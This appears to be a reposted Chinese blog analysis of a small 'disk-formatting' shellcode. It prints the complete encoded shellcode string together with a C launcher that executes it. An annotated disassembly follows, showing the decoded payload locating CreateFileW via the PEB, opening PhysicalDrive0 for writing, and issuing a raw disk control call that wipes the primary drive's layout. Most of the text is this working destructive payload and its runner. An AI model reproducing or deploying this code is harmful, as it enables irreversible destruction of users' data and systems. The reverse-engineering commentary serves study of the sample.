一段格盘的shellcode分析
shellcode出处:
史上最小无需重定位的"格盘"ShellCode - 半斤八两
http://bbs.pediy.com/showthread.php?t=194664
shellcode源码:
char g_szFromShellCode[] = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0" "BBABXP8ABuJIrulKzLMQJLopwp5PuP8GW5k03sqb" "CUCQHGReOtRTPeQVayXGpEOx0lsUv7uPlMSuoppP" "RpV5NkhlK3JLwxLKQU5XPSrvrwLKDHLKPPS4xGpEK" "LUPuPgpS0ni0MkHMYRuc8sTMqP030uPUPLK704LlK" "2PeLNMLKCpUXlKKHNkG7elnkpTUWRXgszwLKPJuHL" "KaJq0VcyOriNk4tLKwsl7lKCuzXEi5VqeKCnkaUfh" "09PFVdpuZKLKpZEts3KoqvLKDLBkNkRzgluSYOLKu" "TlKGsYWoycuKLlKqUKLaOQNSknkkUQMLIQUx48Gg5" "nlQLWpslWpHGw5Np4nuPqLuPKwSulTF0UP1xePjg3" "umHpyGpcC7po7SuolayUPSSwpO7QUoPSQWpBLWpO7" "3uOT1Ts0Pr30KwSuOXcYWpcFuPO7reNL3UeP4pwpK" "wcuNPWpwpePePsZgpCZWpPjs3pjePazdC1x5Pc07p" "KpLMCuLLPPlKcuODKOXPLKZxNmRmmhLMrunXp3O0v" "0RpBpPPrHePKqEWuPPQbrpPv0QCh8aRGpWpc0nm2t" "a4ZXVoudWp"; int main(int argc, char* argv[]) { _asm { lea eax, g_szFromShellCode call eax } return 0; }
shellcode有一段自己解密代码的汇编,很简单就不贴了,看下解密后的:
.data:00406030 pfnShellCode proc near ; DATA XREF: _maino .data:00406030 .data:00406030 szCreateFileW= byte ptr -80h .data:00406030 szPhysicalDrive0= byte ptr -74h .data:00406030 pCreateFileW= dword ptr -4Ch .data:00406030 var_48= byte ptr -48h .data:00406030 szCrea= dword ptr -8 .data:00406030 pROCESSOR_ARCHITECTURE= dword ptr -4 .data:00406030 szTeFi= dword ptr 8 .data:00406030 .data:00406030 55 push ebp .data:00406031 8B EC mov ebp, esp .data:00406033 81 EC 80 00 00 00 sub esp, 80h .data:00406039 C7 45 80 43 72 65+ mov dword ptr [ebp+szCreateFileW], ‘aerC‘ ; CreateFileW .data:00406040 C7 45 84 74 65 46+ mov dword ptr [ebp+szCreateFileW+4], ‘iFet‘ .data:00406047 C7 45 88 6C 65 57+ mov dword ptr [ebp+szCreateFileW+8], ‘Wel‘ .data:0040604E 8D 45 80 lea eax, [ebp+szCreateFileW] .data:00406051 50 push eax .data:00406052 50 push eax .data:00406053 55 push ebp .data:00406054 8B EC mov ebp, esp .data:00406056 83 EC 08 sub esp, 8 .data:00406059 8B 45 08 mov eax, [ebp+szTeFi] .data:0040605C 53 push ebx .data:0040605D 56 push esi .data:0040605E 57 push edi .data:0040605F 8B 08 mov ecx, [eax] .data:00406061 8B 50 04 mov edx, [eax+4] ; .data:00406061 ; ;Save String"CreateFi" .data:00406064 C7 45 FC 00 00 00+ mov [ebp+pROCESSOR_ARCHITECTURE], 0 .data:0040606B 89 4D F8 mov [ebp+szCrea], ecx .data:0040606E 89 55 08 mov [ebp+szTeFi], edx .data:00406071 64 A1 30 00 00 00 mov eax, large fs:30h ; Get _peb .data:00406077 8B 40 0C mov eax, [eax+0Ch] ; Get Ldr_PEB_LDR_DATA .data:0040607A 8B 70 1C mov esi, [eax+1Ch] ; Get InLoadOrderModuleList(First -> NtDll LoadInfoList) .data:0040607D AD lodsd ; LoadInfoList++ : Second -> kernel32 LoadInfoList .data:0040607D ; .data:0040607D ; GetDllInfo .data:0040607D ; ; .data:0040607E 8B 40 08 mov eax, [eax+8] ; Get Kernel32_ImageBase .data:00406081 8B F8 mov edi, eax .data:00406083 8B 47 3C mov eax, [edi+3Ch] ; Get _IMAGE_DOS_HEADER.e_lfanew .data:00406086 8B 54 07 78 mov edx, [edi+eax+78h] ; Get Export Table offset .data:0040608A 03 D7 add edx, edi ; Export Table address .data:0040608C 8B 4A 18 mov ecx, [edx+18h] ; Get ExportDirectory->NumberOfFunctions .data:0040608F 8B 5A 20 mov ebx, [edx+20h] ; Get ExportDirectory->AddressOfFunctions .data:0040608F ; ; .data:00406092 03 DF add ebx, edi .data:00406094 .data:00406094 GetExportFunName_Begin: ; CODE XREF: pfnShellCode+6Fj .data:00406094 ; pfnShellCode+77j .data:00406094 49 dec ecx ; NumberOfFunctions-- .data:00406095 8B 34 8B mov esi, [ebx+ecx*4] .data:00406098 03 F7 add esi, edi ; Get Kernel32 ExportFunName .data:0040609A 8B 45 F8 mov eax, [ebp+szCrea] .data:0040609D 39 06 cmp [esi], eax .data:0040609F 75 F3 jnz short GetExportFunName_Begin ; NumberOfFunctions-- .data:004060A1 8B 45 08 mov eax, [ebp+szTeFi] .data:004060A4 39 46 04 cmp [esi+4], eax .data:004060A7 75 EB jnz short GetExportFunName_Begin ; .data:004060A7 ; ;GetExportFunName_End .data:004060A9 8B 5A 24 mov ebx, [edx+24h] ; 获取环境变量ROCESSOR_ARCHITECTURE .data:004060AC 03 DF add ebx, edi .data:004060AE 66 8B 0C 4B mov cx, [ebx+ecx*2] .data:004060B2 8B 5A 1C mov ebx, [edx+1Ch] .data:004060B5 03 DF add ebx, edi .data:004060B7 8B 04 8B mov eax, [ebx+ecx*4] .data:004060BA 03 C7 add eax, edi .data:004060BC 89 45 FC mov [ebp+pROCESSOR_ARCHITECTURE], eax .data:004060BF 8B 45 FC mov eax, [ebp+pROCESSOR_ARCHITECTURE] .data:004060C2 5F pop edi .data:004060C3 5E pop esi .data:004060C4 5B pop ebx .data:004060C5 8B E5 mov esp, ebp .data:004060C7 5D pop ebp .data:004060C8 89 45 B4 mov [ebp+pCreateFileW], eax .data:004060CB C7 45 8C 5C 00 5C+ mov dword ptr [ebp+szPhysicalDrive0], 5C005Ch ; 获得"\\.\PhysicalDrive0\"(即本机器的物理驱动器0->主硬盘) .data:004060D2 C7 45 90 2E 00 5C+ mov dword ptr [ebp+szPhysicalDrive0+4], 5C002Eh .data:004060D9 C7 45 94 50 00 68+ mov dword ptr [ebp+szPhysicalDrive0+8], 680050h .data:004060E0 C7 45 98 79 00 73+ mov dword ptr [ebp+szPhysicalDrive0+0Ch], 730079h .data:004060E7 C7 45 9C 69 00 63+ mov dword ptr [ebp+szPhysicalDrive0+10h], 630069h .data:004060EE C7 45 A0 61 00 6C+ mov dword ptr [ebp+szPhysicalDrive0+14h], 6C0061h .data:004060F5 C7 45 A4 44 00 72+ mov dword ptr [ebp+szPhysicalDrive0+18h], 720044h .data:004060FC C7 45 A8 69 00 76+ mov dword ptr [ebp+szPhysicalDrive0+1Ch], 760069h .data:00406103 C7 45 AC 65 00 30+ mov dword ptr [ebp+szPhysicalDrive0+20h], 300065h .data:0040610A C7 45 B0 00 00 00+ mov dword ptr [ebp+szPhysicalDrive0+24h], 0 ; .data:0040610A 00 ; CreateFileW(szPhysicalDrive0, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL); .data:00406111 6A 00 push 0 ; push NULL .data:00406113 6A 00 push 0 ; push NULL .data:00406115 6A 03 push 3 ; push OPEN_EXISTING .data:00406117 6A 00 push 0 ; push NULL .data:00406119 6A 03 push 3 ; push FILE_SHARE_READ | FILE_SHARE_WRITE .data:0040611B 68 00 00 00 C0 push 0C0000000h ; push GENERIC_READ|GENERIC_WRITE .data:00406120 8D 45 8C lea eax, [ebp+szPhysicalDrive0] .data:00406123 50 push eax ; push szPhysicalDrive0 .data:00406124 8B 45 B4 mov eax, [ebp+pCreateFileW] .data:00406127 FF D0 call eax ; call CreateFIleW .data:00406129 8B D8 mov ebx, eax ; save hFile .data:00406129 ; ; .data:0040612B 8D 4D B8 lea ecx, [ebp+var_48] .data:0040612E 8D 55 B8 lea edx, [ebp+var_48] .data:00406131 33 C0 xor eax, eax .data:00406133 50 push eax ; push NULL .data:00406134 50 push eax ; push NULL .data:00406135 50 push eax ; push NULL .data:00406136 50 push eax ; push NULL .data:00406137 68 00 C1 07 00 push 7C100h .data:0040613C 51 push ecx ; push pUnkonw .data:0040613D 52 push edx ; push pUnkonw .data:0040613E 50 push eax ; push NULL .data:0040613F 50 push eax ; push NULL .data:00406140 53 push ebx ; push hFile .data:00406141 B8 42 00 00 00 mov eax, 42h .data:00406146 8D 54 24 F8 lea edx, [esp+54h+szPhysicalDrive0+18h] ; lea (&((DWORD)szPhysicalDrive0 - 4)) .data:0040614A 0F 34 sysenter
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。